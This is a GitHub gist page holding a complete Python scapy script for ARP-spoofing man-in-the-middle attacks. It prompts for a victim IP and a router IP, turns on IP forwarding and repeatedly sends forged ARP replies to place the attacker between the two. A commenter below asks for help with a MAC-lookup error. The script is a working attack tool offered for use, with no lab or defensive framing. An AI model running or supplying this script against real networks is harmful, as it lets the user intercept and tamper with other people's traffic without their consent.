Skip to content

Instantly share code, notes, and snippets.

@ghost-ng
Last active August 23, 2018 11:29
Show Gist options
  • Save ghost-ng/907084b5edca3782b3153fc05c135b91 to your computer and use it in GitHub Desktop.
Save ghost-ng/907084b5edca3782b3153fc05c135b91 to your computer and use it in GitHub Desktop.
# Created by - unknown
# python3
from scapy.all import *
import sys
import os
import time
try:
interface = input("[*] Enter Desired Interface: ")
victimIP = input("[*] Enter Victim IP: ")
gateIP = input("[*] Enter Router IP: ")
except KeyboardInterrupt:
print("\n[*] User Requested Shutdown")
print("[*] Exiting...")
sys.exit(1)
print("\n[*] Enabling IP Forwarding...\n")
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
def get_mac(IP):
conf.verb = 0
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=IP), timeout=2, iface=interface, inter=0.1)
for snd, rcv in ans:
return rcv.sprintf(r"%Ether.src%")
def reARP():
print("\n[*] Restoring Targets...")
victimMAC = get_mac(victimIP)
gateMAC = get_mac(gateIP)
send(ARP(op=2, pdst=gateIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=7)
send(ARP(op=2, pdst=victimIP, psrc=gateIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateMAC), count=7)
print("[*] Disabling IP Forwarding...")
os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
print("[*] Shutting Down...")
sys.exit(1)
def trick(gm, vm):
send(ARP(op=2, pdst=victimIP, psrc=gateIP, hwdst=vm))
send(ARP(op=2, pdst=gateIP, psrc=victimIP, hwdst=gm))
def mitm():
try:
victimMAC = get_mac(victimIP)
except Exception:
os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
print("[!] Couldn't Find Victim MAC Address")
print("[!] Exiting...")
sys.exit(1)
try:
gateMAC = get_mac(gateIP)
except Exception:
os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
print("[!] Couldn't Find Gateway MAC Address")
print("[!] Exiting...")
sys.exit(1)
print("[*] Poisoning Targets...")
while 1:
try:
trick(gateMAC, victimMAC)
time.sleep(1.5)
except KeyboardInterrupt:
reARP()
break
mitm()
@lukyjuranek
Copy link

Hi,
I have a question about mitm-py3.py.
The program shows me error:
[!] Couldn't Find Victim MAC Address
[!] Exiting...
I don't know if it's because of wrong interface name(I used name: Wi-Fi) or it's another problem.
Please help.
Lukas Juranek

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment